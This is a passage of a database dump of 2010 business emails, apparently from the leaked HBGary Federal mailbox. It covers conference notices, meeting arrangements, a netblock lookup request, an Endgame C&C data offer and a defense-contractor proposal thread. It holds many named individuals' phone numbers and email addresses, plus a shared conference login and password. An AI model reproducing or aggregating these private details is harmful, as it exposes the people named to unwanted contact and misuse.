\r\n                Special Rapid DNA \r\n                General Services Administration (GSA) \r\n                Department of Transportation/Volpe (DOT/Volpe) \r\n                Standards \r\n                International \r\n                Industry \r\n                Iris Technology \r\n              \r\n              &nbsp;\r\n              Conference Fees:\r\n                \r\n                  \r\n                    Student\r\n                    $295\r\n                  \r\n                  \r\n                    University Staff/Faculty \r\n                    $595\r\n                  \r\n                  \r\n                    Government/Non-Profit\r\n                    $595\r\n                  \r\n                  \r\n                    Industry/Consultant/Other\r\n                    $695\r\n                  \r\n                  \r\n                    Exhibit Hall Only\r\n                    Free\r\n                  \r\n                \r\n              &nbsp;\r\n              The Biometric Technology Expo will feature over 80 technology exhibitors displaying a wide range of hardware and software solutions to biometric and identity management challenges. The Biometric Technology Expo is sponsored by AFCEA and J. Spargo &amp; Associates, Inc.\r\n              Hotel Rooms:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\nA block of hotel rooms has been reserved at the Hyatt Regency Tampa and the Embassy Suites Tampa- Downtown Convention Center.&nbsp; A block of government rated rooms are available at each of these hotels. \r\n&nbsp;\r\nExhibitor contact:\r\nJ. Spargo &amp; Associates, Inc.\r\n                800-564-4220 or 703-631-6200, biometrics@jspargo.com \r\n                &nbsp;\r\n                Sponsor contact:\r\n                Maureen Cirrito/AFCEA\r\n                800-336-4583 or 703-631-6174, mcirrito@afcea.org\r\n                Conference contact:\r\n  Dick Bailey/BAE Systems \r\n  301-738-5126, richard.bailey@baesystems.com \r\n                &nbsp;\r\n                &nbsp;\r\n&nbsp;www.biometricconference.com\r\n            \r\n          \r\n          \r\n            &nbsp;\r\n          \r\n      \r\n  \r\n	\r\n		\r\n			\r\n				\r\n					\r\n								\r\n\r\n  This email is provided as a professional courtesy. If you\'d prefer not to receive future notices, please Click Here\r\n  \r\nAFCEA International: 4400 Fair Lakes Court Fairfax, Virginia 22033 \r\n  http://www.afcea.org\r\n\r\n\r\n					\r\n				\r\n			\r\n	  \r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8925,'aaron_hbgary_com/8925.html'),(7243,'2010-06-09','\"Sheldon, Scott W.\" <SCOTT.W.SHELDON@saic.com>','/aaron@hbgary.com/new/1297005278.M7370P14101Q2097.eml','','NANA - You\'re on the list of companies to consider','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nst1\\:*{behavior:url(#default#ieooui) }\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI&#8217;ve used BCC on this note.\r\n\r\n&nbsp;\r\n\r\nI&#8217;m sending this note as a follow-up to meetings or\r\ncorrespondence I&#8217;ve had with your company to reassure you that there\r\nreally is a list and your company is really on it.\r\n\r\n&nbsp;\r\n\r\nAt this time, our NANA team is doing a good job of\r\nsatisfying the customer&#8217;s requirements for staff.\r\n\r\n&nbsp;\r\n\r\nIt is a very dynamic environment and we&#8217;re committed\r\nto keeping the customer&#8217;s mission needs met. If our existing team is\r\nunable to fill a funded requisition in a reasonable amount of time, we&#8217;ll\r\nbe corresponding with your company to give you the opportunity to satisfy the\r\nneed and join the team.\r\n\r\n&nbsp;\r\n\r\nI intend to send an update to you around the middle of each\r\nmonth so you&#8217;ll know your company is still being considered for future\r\nstaffing needs.\r\n\r\n&nbsp;\r\n\r\nScott\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nScott W. Sheldon, PMP | SAIC\r\n\r\nVice President, Senior Account Executive\r\n| Intelligence, Security and Technology Group\r\n\r\nmobile: 410.382.0179 | email:\r\nscott.w.sheldon@saic.com \r\n\r\n&nbsp;\r\n\r\nScience Applications International\r\nCorporation\r\n\r\n6841 Benjamin Franklin Drive\r\n\r\nColumbia,\r\n MD 21046\r\n\r\nwww.saic.com\r\n\r\n&nbsp;\r\n\r\nEnergy&nbsp; |&nbsp;\r\nEnvironment&nbsp; |&nbsp; National Security&nbsp; |&nbsp; Health&nbsp; |&nbsp;\r\nCritical Infrastructure\r\n\r\n&nbsp;\r\n\r\nPlease\r\nconsider the environment before printing this email.\r\n\r\n&nbsp;\r\n\r\nThis e-mail and\r\nany attachments to it are intended\r\nonly for the identified recipients. It may contain proprietary or otherwise\r\nlegally protected information of SAIC. Any unauthorized use or disclosure of\r\nthis communication is strictly prohibited. If you have received this\r\ncommunication in error, please notify the sender and delete or otherwise\r\ndestroy the e-mail and all attachments\r\nimmediately.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14632,'aaron_hbgary_com/14632.html'),(7244,'2010-06-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005278.M885000P14101Q2099.eml','pauln@jdn-int.com','Re: Meeting','How about:Gunning\'s&nbsp;Seafood&nbsp;Restaurant?&nbsp;64 reviews&nbsp;-&nbsp;more info&nbsp;»7304 Parkway DrHanover, Maryland 21076(410) 712-9404gunningsonline.com?I had lunch about 4 weeks ago with Tom Conroy, very good Crab Cakes. &nbsp;Is 11am ok?AaronOn Jun 9, 2010, at 4:23 PM, Paul Nemirovsky wrote:&nbsp;\r\n&nbsp;\r\nAaron,\r\n&nbsp;\r\nWe could meet anywhere it works for you.&nbsp; I do not know this area well.&nbsp; There is Hellas Restaurant in Millersville, if you like it.\r\n&nbsp;\r\n&nbsp;\r\nRegards,\r\n&nbsp;\r\n&nbsp;\r\nPaul\r\n___________________________________________________________\r\n&nbsp;--- On Tue, 6/8/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: MeetingTo: \"pauln@jdn-int.com\" &lt;pauln@jdn-int.com&gt;Date: Tuesday, June 8, 2010, 5:08 PM\r\n\r\nPaul,\r\n\r\nThat sounds good. &nbsp;I have a 1pm in Columbia at the saic bldg. &nbsp;Do u know a good place?\r\n\r\nAaronFrom my iPhone\r\nOn Jun 8, 2010, at 4:53 PM, Paul Nemirovsky &lt;pauln@jdn-int.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n&nbsp;\r\n&nbsp;\r\nThank you for the note.&nbsp; Monday, 6/14 is fine.&nbsp; Would you like to get together for lunch in the area?\r\n&nbsp;\r\n&nbsp;\r\nRegards,\r\n&nbsp;\r\n&nbsp;\r\nPaul&nbsp; (703-622-6115 (m))--- On Tue, 6/8/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: MeetingTo: \"Dr. Paul Nemirovsky\" &lt;pauln@jdn-int.com&gt;Date: Tuesday, June 8, 2010, 4:44 PM\r\n\r\n\r\n\r\n\r\n\r\nLinkedInAaron Barr has sent you a message. \r\nDate: 6/08/2010 \r\nSubject: Meeting \r\nHi Paul, Do you have some time to meet on Monday? I have another meeting in the early afternoon in your area. Aaron \r\nView/reply to this message \r\nDon\'t want to receive e-mail notifications? Adjust your message settings. \r\n© 2010, LinkedIn Corporation\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',14062,'aaron_hbgary_com/14062.html'),(7245,'2010-06-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005279.M173476P14101Q2100.eml','\"Etue, David\" <david.etue@fidelissecurity.com>','Re: Data sheet','Did u meet with a Dr. Paul Nimrovsky at Northrop?\r\n\r\nHe connected with me in Linkedin and we are having lunch on Monday.  He is the current Cyber Security Architect and sits in Millersville.\r\n\r\nAaron\r\n\r\nOn Jun 9, 2010, at 5:13 PM, Etue, David wrote:\r\n\r\n> Working on the data sheet tonight - have it printed out, but haven\'t\r\n> been sitting down to look at it :(   I believe Stacey is working on it\r\n> too.  Have a internal call in 10 minutes to make sure everyone in\r\n> Fidelis is doing the right stuff to support you guys.  \r\n> \r\n> I\'m going to rewrite the top left paragraph on the back page if that is\r\n> ok.  Stacey will get you updated product pictures and logos.\r\n> \r\n> David\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Wednesday, June 09, 2010 3:41 PM\r\n> To: Etue, David\r\n> Subject: Data sheet\r\n> \r\n> Hey Dave,\r\n> \r\n> Did you have much of a chance to look at the Data sheet?  I  going to\r\n> finish it up today and tomorrow.  Also trying to finish my NSA\r\n> presentation for Tuesday.\r\n> \r\n> Aaron\r\n> \r\n> From my iPhone\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',10179,'aaron_hbgary_com/10179.html'),(7246,'2010-06-09','\"Mark Trynor\" <mark@hbgary.com>','/aaron@hbgary.com/new/1297005279.M437763P14101Q2101.eml','\"Aaron Barr\" <aaron@hbgary.com>','End Games','Aaron,We have a giant netblock that is going to take us....rough estimate...a little over 19 days to complete with our current 10/sec.  Could you contact the End Games guys and see if they could run it for us direct off their DB and send back the results, it should be MUCH faster.  It&#39;s for the meeting coming up with CSC.\r\nThe ip block is 20.1.33.106-20.255.255.255Thanks,Mark\r\n',7523,'aaron_hbgary_com/7523.html'),(7247,'2010-06-09','\"Matt Sturges\" <msturges@apple.com>','/aaron@hbgary.com/new/1297005279.M659733P14101Q2102.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','Apple Intro','Aaron,\r\n\r\nJust got your message. Andy Kemp is on our team, he\'s cleared, give him a call when you get a chance. He\'s flying back to the east coast as we speak. Best way to reach him is his cell, (240) 988-3476.\r\n\r\nAndy, Aaron works for HB Gary, http://www.hbgary.com/.  Deep in DoD and Fed.\r\n\r\nHopefully you guys can connect.\r\n\r\nMatt\r\n\r\n\r\n\r\n---------------------------------------\r\nMatt Sturges\r\nWestern Regional Sales Manager\r\nDepartment of Defense\r\nc. 650.868.2870\r\nf. 866-316-5404\r\nmsturges@apple.com\r\n---------------------------------------\r\n\r\n\r\n\r\n\r\n\r\n',692,'aaron_hbgary_com/692.html'),(7248,'2010-06-09','\"Traci Wei\" <twei@capsllc.net>','/aaron@hbgary.com/new/1297005279.M916130P14101Q2103.eml','\"Traci Wei\" <twei@capsllc.net>,\"Phoebe J. Boelter\" <pboelter@capsllc.net>,\"Kristen Jacobucci\" <kjacobucci@capsllc.net>','FIRST 2010 - Registered Attendees - Access to Presentations','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nDear\r\nFIRST 2010 Registered Attendee,\r\n\r\n&nbsp;\r\n\r\nCan\r\nyou believe the conference is next week?&nbsp; \r\n\r\nAttendance\r\nis at an all time high and we are definitely looking forward to an amazing\r\nprogram this year!\r\n\r\n&nbsp;\r\n\r\nAs\r\nmentioned earlier this week, we have collected presentations from a majority of\r\nthe conference presenters and have posted them up for your advance\r\ndownload.&nbsp; Please use the following information:\r\n\r\n&nbsp;\r\n\r\nURL:\r\nhttps://reg.first.org/papers\r\n\r\nUser:\r\nattendee\r\n\r\nPass:\r\nFIRST\r\n\r\n&nbsp;\r\n\r\nPlease\r\nkeep in mind that we do have some presenters without slides and a couple of keynotes\r\nand plenary speakers that will not be distributing slides.&nbsp; We will\r\ncollect all final presentations at the end of the conference and will send another\r\nemail reminder when completed.\r\n\r\n&nbsp;\r\n\r\nWe\r\nwill not be printing hard-copies.\r\n\r\n&nbsp;\r\n\r\nWifi\r\nwill be available in the meeting rooms.\r\n\r\n&nbsp;\r\n\r\nIf\r\nyou have any questions, please don&#8217;t hesitate to ask us at first-2010@first.org. &nbsp;Please note\r\nthat the conference staff will be a bit slow to respond on Thursday (6/10) and\r\nFriday (6/11).\r\n\r\n&nbsp;\r\n\r\nSee\r\nyou all in Miami!\r\n\r\n&nbsp;\r\n\r\nTraci\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nTraci Wei\r\n\r\nConference &amp; Marketing Coordinator\r\n\r\n..............................................................\r\n\r\nConference &amp; Publication Services, LLC\r\n\r\n213 W. Institute Place, Suite 405\r\n\r\nChicago, IL 60610\r\n\r\nd. 312.268.6784\r\n\r\np. 312.372.1255 ext. 107\r\n\r\nf.&nbsp; 312.372.1427\r\n\r\nt.&nbsp; @capsllc\r\n\r\nhttp://www.capsllc.net\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16111,'aaron_hbgary_com/16111.html'),(7249,'2010-06-10','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005280.M132708P14101Q2104.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Fwd: HBGary Training','DHS pays for this, correct?Begin forwarded message:From: &quot;Eric Ashworth&quot; &lt;EAshworth@garcosheriff.com&gt;\r\nDate: June 9, 2010 4:52:47 PM EDTTo: &quot;Ted Vera&quot; &lt;ted@hbgary.com&gt;Cc: &quot;Don Breier&quot; &lt;DBreier@garcosheriff.com&gt;\r\nSubject: RE: HBGary Training\r\n\r\n\r\n\r\nTed:\r\n\r\n \r\n\r\nThanks for the email, we are very interested in hosting your\r\ntraining.  Would you be able to send me some information on what training\r\nclasses are available as well as number of days, tuition, minimum number of\r\nstudents etc? \r\n\r\n \r\n\r\nAs far as dates, I don’t have any as yet, do you have a list of\r\ndates that would work for you maybe a couple months out?\r\n\r\n \r\n\r\nDetective Corporal Eric Ashworth\r\n\r\nGarfield County Sheriff’s Office\r\n\r\n107 8th Street\r\n\r\nGlenwood Springs, Colorado 81601\r\n\r\nEmail: \r\neashworth@garcosheriff.com\r\n\r\nOffice:\r\n970-945-1377 X1028\r\n\r\nCell:\r\n970-309-1053\r\n\r\nCONFIDENTIALITY\r\nNOTICE: This communication and any enclosed document(s) are confidential and\r\nprivileged. If you receive this transmission in error, you are advised that any\r\ndisclosure, copying, distribution, or the taking of any action in reliance upon\r\nthe communication is strictly prohibited. Moreover, any such inadvertent\r\ndisclosure shall not compromise or waive the attorney-client privilege and/or\r\nthe attorney work-product privilege as to this communication or otherwise. If\r\nyou have received this communication in error, please contact Eric Ashworth, eashworth@garcosheriff.com\r\nat 970.945-1377 XT 1028.\r\n\r\n \r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Tuesday, June 08, 2010 11:06 AM\r\nTo: Eric Ashworth\r\nSubject: HBGary Training\r\n\r\n\r\n\r\n \r\n\r\nHi Eric,\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nPenny mentioned that you are interested in scheduling some\r\nHBGary training in Colorado.  Do you have a date/time/location in mind?\r\n How many students are interested?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nPlease feel free to contact me at 719-237-8623 to discuss.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nRegards,\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13946,'aaron_hbgary_com/13946.html'),(7250,'2010-06-10','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005280.M349706P14101Q2105.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: [Fwd: \"Pathway to Success\" Outreach Session in ATLANTA, 22 July 	2010 - REGISTRATION NOW OPEN!!]','Begin forwarded message:From: Martin Pillion &lt;martin@hbgary.com&gt;\r\nDate: June 9, 2010 9:48:02 PM EDTTo: Ted Vera &lt;ted@hbgary.com&gt;Subject: [Fwd: &quot;Pathway to Success&quot; Outreach Session in ATLANTA, 22 July 2010 - REGISTRATION NOW OPEN!!]\r\nrandom stuff that NSA sends me, not sure if it helps you at all, buthere ya go!\r\n- Martin\r\n',5085,'aaron_hbgary_com/5085.html'),(7251,'2010-06-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005281.M129985P14101Q2106.eml','\"Chris Clair\" <CHRISTOPHER.CLAIR@tasc.com>,\"Al Pisani\" <albert.pisani@TASC.com>,\"Raymond Heider\" <raymond.heider@ngc.com>,\"John Lovegrove\" <John.Lovegrove@tasc.com>','Technical Strategy','All,\r\n\r\nAfter our conversation today and thinking about a possible framework I see a very powerful offering assuming we can get these partners.  The below team represents in my opinion a winning team.  Framework is overall PMO that coordinates trusted US partners to exercise commercial relationships to execute requirements.  Some team mates are silent partners for consulting and lead relationships.\r\n\r\n',4281,'aaron_hbgary_com/4281.html'),(7252,'2010-06-10','\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>','/aaron@hbgary.com/new/1297005281.M376072P14101Q2107.eml','aaron@hbgary.com','Re: Technical Strategy','\r\n\r\n\r\n\r\n\r\nRe: Technical Strategy\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nDon\'t spread the graphic too far. Cipher may be sensitive. othrwise I agree with your conclusions.\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Clair, Chris (TASC); Pisani, Albert A. (TASC); Heider, Raymond A (TASC); Lovegrove, John (TASC)\r\nSent: Wed Jun 09 21:20:03 2010\r\nSubject: Technical Strategy\r\n\r\nAll,\r\n\r\nAfter our conversation today and thinking about a possible framework I see a very powerful offering assuming we can get these partners.&nbsp; The below team represents in my opinion a winning team.&nbsp; Framework is overall PMO that coordinates trusted US partners to exercise commercial relationships to execute requirements.&nbsp; Some team mates are silent partners for consulting and lead relationships.\r\n\r\n\r\n\r\n\r\n\r\n',8507,'aaron_hbgary_com/8507.html'),(7253,'2010-06-10','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005281.M605545P14101Q2108.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','VPN','Mark got VPN up in the office, sweet!\r\n',7704,'aaron_hbgary_com/7704.html'),(7254,'2010-06-10','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005281.M814750P14101Q2109.eml','\"Mark Trynor\" <mark@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','Re: VPN','Works great from the iPad too.\r\n\r\nOn Jun 9, 2010, at 8:52 PM, Mark Trynor  wrote:\r\n\r\n> W00t!\r\n>\r\n> Ted Vera  wrote:\r\n>\r\n>> Mark got VPN up in the office, sweet!\r\n',4113,'aaron_hbgary_com/4113.html'),(7255,'2010-06-10','\"Daniel Ingevaldson\" <dsi@endgames.us>','/aaron@hbgary.com/new/1297005282.M277046P14101Q2111.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Discuss EGS/HBGary','Aaron--we are working on integrating C&C information into Sicily.  This will become a feature of our 1.0 product.  Here is what we are thinking for the structure of a Sicily offering for HBGary and to recap our last phone call.  \r\n\r\nWe\'re not ready to \"launch\" Sicily yet, but are willing to let you whitelabel the service as part of your incident response service that you are standing up.  During your engagement, we would provide you an API key for use within the netblocks assigned to your customer for a period of 30 days.  For this service, we would charge HBGary a nominal fee.  At this time, we are not ready to begin structuring a leave-behind offering, but I definitely see the potential in putting this together.  I believe that your customers will definitely see the value of this service and will be interested in signing up for a longer-term, customer end-use solution.  I envision a traditional channel sales model working pretty well here.  If this is agreeable to you, we can draft up a proposal and get it to you this week.  Thanks Aaron, please give me a ring if you have any questions or want to discuss details.\r\n\r\nBest,\r\n-d\r\n\r\nOn Jun 9, 2010, at 5:12 PM, Aaron Barr wrote:\r\n\r\n> Daniel,\r\n> \r\n> As part of an incident response and leave-behind offering it would be nice to be able to provide a feed or query capability for newly compromised boxes being used for C&C nodes.  Is that something your thinking of providing?\r\n> \r\n> Aaron\r\n> \r\n> On Jun 4, 2010, at 10:22 AM, Daniel Ingevaldson wrote:\r\n> \r\n>> When: Friday, June 04, 2010 3:30 PM-4:30 PM. Eastern Standard Time\r\n>> Where: EGS to call Aaron\r\n>> \r\n>> *~*~*~*~*~*~*~*~*~*\r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n\r\n\r\n---------------------------------\r\nDaniel S. Ingevaldson, COO\r\nEndgame Systems, LLC\r\ndsi@endgames.us\r\n(w)404-781-2955\r\n(f)404-781-2951\r\n(m)404-992-9449\r\n\r\n',5012,'aaron_hbgary_com/5012.html'),(7256,'2010-06-10','\"Saxty, Lori J.\" <Lori.Saxty@gd-ais.com>','/aaron@hbgary.com/new/1297005282.M46284P14101Q2110.eml','\"Lemke, Michelle R.\" <michelle.lemke@gd-ais.com>,\"Short, Nadia D.\" <Nadia.Short@gd-ais.com>,\"Mack, Cynthia M.\" <Cynthia.Mack@gd-ais.com>,\"Rawls, Rodger C.\" <Rodger.Rawls@gd-ais.com>,\"Burns, Destiny R.\" <Destiny.Burns@gd-ais.com>,\"McDonald, Rich L.\" <Rich.McDonald@gd-ais.com>,\"Jaeger, James A.\" <jim.jaeger@gd-ais.com>,Charlie.Prouty@GDIT.com,Jmetzler@sms.com,blillard@emesec.net,Troy.Walter@gdit.com,\"Mackert, Todd D.\" <Todd.Mackert@gd-ais.com>,\"Castrejon, Tomas M.\" <Tomas.Castrejon@gd-ais.com>,\"Autry, Errin L.\" <Errin.Autry@gd-ais.com>,\"Arismendi, Charles B.\" <Charles.Arismendi@gd-ais.com>,\"Anderson, Melvin\" <Melvin.Anderson@gd-ais.com>,aaron@hbgary.com,\"Brunelli, Rex\" <Rex.Brunelli@gd-ais.com>,\"Berthiaume, Richard A.\" <richard.berthiaume@gd-ais.com>,\"Cornell, Billie J.\" <Billie.Cornell@gd-ais.com>,\"Burton, Roger C.\" <Roger.Burton@gd-ais.com>,\"Carron, Brian E.\" <Brian.Carron@gd-ais.com>,mchorton@emesec.net,Christopher.Jacks@gdit.com,\"Harlow, Douglas M.\" <Douglas.Harlow@gd-ais.com>,\"Domingue, Duane D.\" <duane.domingue@gd-ais.com>,\"Jackson, Eric D.\" <eric.jackson@gd-ais.com>,JStark@StrozFriedberg.com,rluna@sms.com,\"Raja, Razwan N.\" <Razwan.Raja@gd-ais.com>','Re: FBI ESOC - Thank You','\r\n\r\n\r\n\r\n\r\nRE: FBI ESOC - Thank You\r\n\r\n\r\nGood luck to all the Presenters today!---------------------Lori SaxtyBusiness DevelopmentGeneral Dynamics - AISCyber Systems Division10560 Arrowhead DriveFairfax, VA 22030(703) 277-1703 (office)(703) 599-3526 (cell)(703) 282-7138 (BB/Cell)\r\n\r\n\r\nFrom: Lemke, Michelle R.To: Short, Nadia D.; Mack, Cynthia M.; Rawls, Rodger C.; Burns, Destiny R.; McDonald, Rich L.; Jaeger, James A.; \'Prouty, Charlie S\' &lt;Charlie.Prouty@GDIT.com&gt;; Saxty, Lori J.; \'Metzler, Jay\' &lt;Jmetzler@sms.com&gt;; \'Bill Lillard\' &lt;blillard@emesec.net&gt;; \'Walter, Troy\' &lt;Troy.Walter@gdit.com&gt;; Mackert, Todd D.; Castrejon, Tomas M.; Autry, Errin L.; Arismendi, Charles B.; Anderson, Melvin; \'Aaron Barr\' &lt;aaron@hbgary.com&gt;; Brunelli, Rex; Berthiaume, Richard A.; Cornell, Billie J.; Burton, Roger C.; Carron, Brian E.; \'Maria Horton\' &lt;mchorton@emesec.net&gt;; \'Jacks, Christopher\' &lt;Christopher.Jacks@gdit.com&gt;; Harlow, Douglas M.; Domingue, Duane D.; Jackson, Eric D.; \'John Reed Stark\' &lt;JStark@StrozFriedberg.com&gt;; \'Luna, Roby\' &lt;rluna@sms.com&gt;; Mackert, Todd D.; Raja, Razwan N.; \'Walter, Troy\' &lt;Troy.Walter@gdit.com&gt;; Kyburz, William (EXT) (GDIT)Sent: Tue Jun 08 16:58:54 2010Subject: RE: FBI ESOC - Thank You\r\n\r\n\r\n\r\nLead writers and those presenting at orals we will be working out of the Arrowhead building tonight from 6:30 until ??? (slides are done), please be here we will be on the second floor in room 280. If you absolutely cannot be here tonight please dial in to the number below. Tomorrow I need all presenters physically here at 10560 Arrowhead Drive Fairfax VA, 22030.&nbsp; We will start at 6:30 tomorrow morning and will meet in room 5078. \r\n\r\n\r\nFor all others that would like to dial in tonight to the working session the dial in is as follows: \r\n\r\nDial In: 877-341-0352\r\n\r\nPasscode: \r\n\r\n\r\n\r\n\r\n\r\nParticipant: 2072754&nbsp;\r\n\r\n\r\n\r\nThanks, Michelle\r\n\r\n\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n\r\n\r\n\r\n\r\n_____________________________________________\r\nFrom: Lemke, Michelle R.\r\nSent: Tuesday, June 08, 2010 4:32 PM\r\nTo: Short, Nadia D.; Mack, Cynthia M.; Rawls, Rodger C.; Burns, Destiny R.; McDonald, Rich L.; Jaeger, James A.; \'Prouty, Charlie S\'; Saxty, Lori J.; \'Metzler, Jay\'; \'Bill Lillard\'; \'Walter, Troy\'; Mackert, Todd D.; Castrejon, Tomas M.; Autry, Errin L.; Arismendi, Charles B.; Anderson, Melvin; \'Aaron Barr\'; Brunelli, Rex; Berthiaume, Richard A.; Cornell, Billie J.; Barrett, Rob J.; Burton, Roger C.; Carron, Brian E.; Brooks, Holly; Mondloch, Carrie H.; Joseph, Carol M.; Carolina, Shelby D.; Carter, Richard (NE); \'Maria Horton\'; \'Jacks, Christopher\'; Harlow, Douglas M.; Hickey, David T.; Duck, Kenneth I.; Domingue, Duane D.; Jackson, Eric D.; Nieves, Efrain; Lhotka, Erven R.; Egloff, Susan C.; Hoagland, Kimberly A.; Hilliard, Jennifer M.; Hickey, David T.; Hart, Kelly J.; Hill, Pamela E.; Varga, Joan A.; \'John Reed Stark\'; Michael, Jim A.; Petrauskas, Karen J.; Satterfield, Linda S.; \'Luna, Roby\'; Mackert, Todd D.; McLaine, Kate L.; White-Taber, Marjorie J.; Green, Rosemary; Stern, Matthew A.; Tilden, Michael J.; Newman, Christopher J.; Raja, Razwan N.; \'Walter, Troy\'; Kyburz, William (EXT) (GDIT)\r\nSubject: RE: FBI ESOC - Thank You\r\n\r\n\r\n\r\nCongratulations goes out to the entire FBI ESOC team &#8211; Phase one of the technical evaluation has been completed and we have been selected for phase two (oral presentation)!!! The date for orals presentation is June 10, 2010 at 9:00 am.&nbsp;We have the 8 selected presenters and are working the slides and oral presentation today and tomorrow. We have scheduled a dial-in for 6:30 tonight and I would like the lead writers for each task area to dial in. others are welcome but functionals are not required as this is a technical working session to develop slide content. \r\n\r\nWe have also received clarification questions from the government and are required to respond with no more than 5 pages by noon on the 10th.&nbsp; Rick Berthiaume is currently working the response and may be asking leads for clarification so please respond to him promptly in order for us to finalize the document by our due date and time. \r\n\r\nThanks again for everyone&#8217;s support &#8211; let&#8217;s get this wrapped up for a WIN!!! \r\n\r\nMichelle\r\n\r\n_____________________________________________\r\nFrom: Lemke, Michelle R.\r\nSent: Friday, May 28, 2010 3:19 PM\r\nTo: Short, Nadia D.; Mack, Cynthia M.; Rawls, Rodger C.; Burns, Destiny R.; McDonald, Rich L.; Jaeger, James A.; \'Prouty, Charlie S\'; Saxty, Lori J.; \'Metzler, Jay\'; \'Bill Lillard\'; \'Walter, Troy\'; Mackert, Todd D.; Castrejon, Tomas M.; Autry, Errin L.; Arismendi, Charles B.; Anderson, Melvin; \'Aaron Barr\'; Brunelli, Rex; Berthiaume, Richard A.; Cornell, Billie J.; Barrett, Rob J.; Burton, Roger C.; Carron, Brian E.; Brooks, Holly; Mondloch, Carrie H.; Joseph, Carol M.; Carolina, Shelby D.; Carter, Richard (NE); \'Maria Horton\'; \'Jacks, Christopher\'; Harlow, Douglas M.; Hickey, David T.; Duck, Kenneth I.; Domingue, Duane D.; Jackson, Eric D.; Nieves, Efrain; Lhotka, Erven R.; Egloff, Susan C.; Hoagland, Kimberly A.; Hilliard, Jennifer M.; Hickey, David T.; Hart, Kelly J.; Hill, Pamela E.; Varga, Joan A.; \'John Reed Stark\'; Michael, Jim A.; Petrauskas, Karen J.; Satterfield, Linda S.; \'Luna, Roby\'; Mackert, Todd D.; McLaine, Kate L.; White-Taber, Marjorie J.; Green, Rosemary; Stern, Matthew A.; Tilden, Michael J.; Newman, Christopher J.; Raja, Razwan N.; \'Walter, Troy\'; Kyburz, William (EXT) (GDIT)\r\nSubject: FBI ESOC - Thank You\r\n\r\n\r\n\r\nJust a note out to all of you that the FBI ESOC proposal has been sent to the customer via e-mail and FedEx. \r\n\r\nThanks to all of you who spent so much time and effort helping us put together a solid document in order to win the FBI ESOC work. Many long hours were put in by so many and others were quick to assist in so many ways, it was truly appreciated! \r\n\r\nIf I&#8217;ve missed anyone on this e-mail please help me by passing it along, there were just so many to remember. \r\n\r\nI look forward to a WIN and our continued work together in the future. \r\n\r\nThanks again for all your support, have a great weekend! \r\n\r\nMichelle\r\n\r\nMichelle Lemke\r\n\r\nSenior Manager Business Development\r\n\r\nGeneral Dynamics Advanced Information Systems\r\n\r\nBB&nbsp; 703-946-1495\r\n\r\nC 757-286-9239\r\n\r\n\r\n\r\n\r\n',12644,'aaron_hbgary_com/12644.html'),(7257,'2010-06-10','\"Etue, David\" <david.etue@fidelissecurity.com>','/aaron@hbgary.com/new/1297005282.M531332P14101Q2112.eml','\"Aaron Barr\" 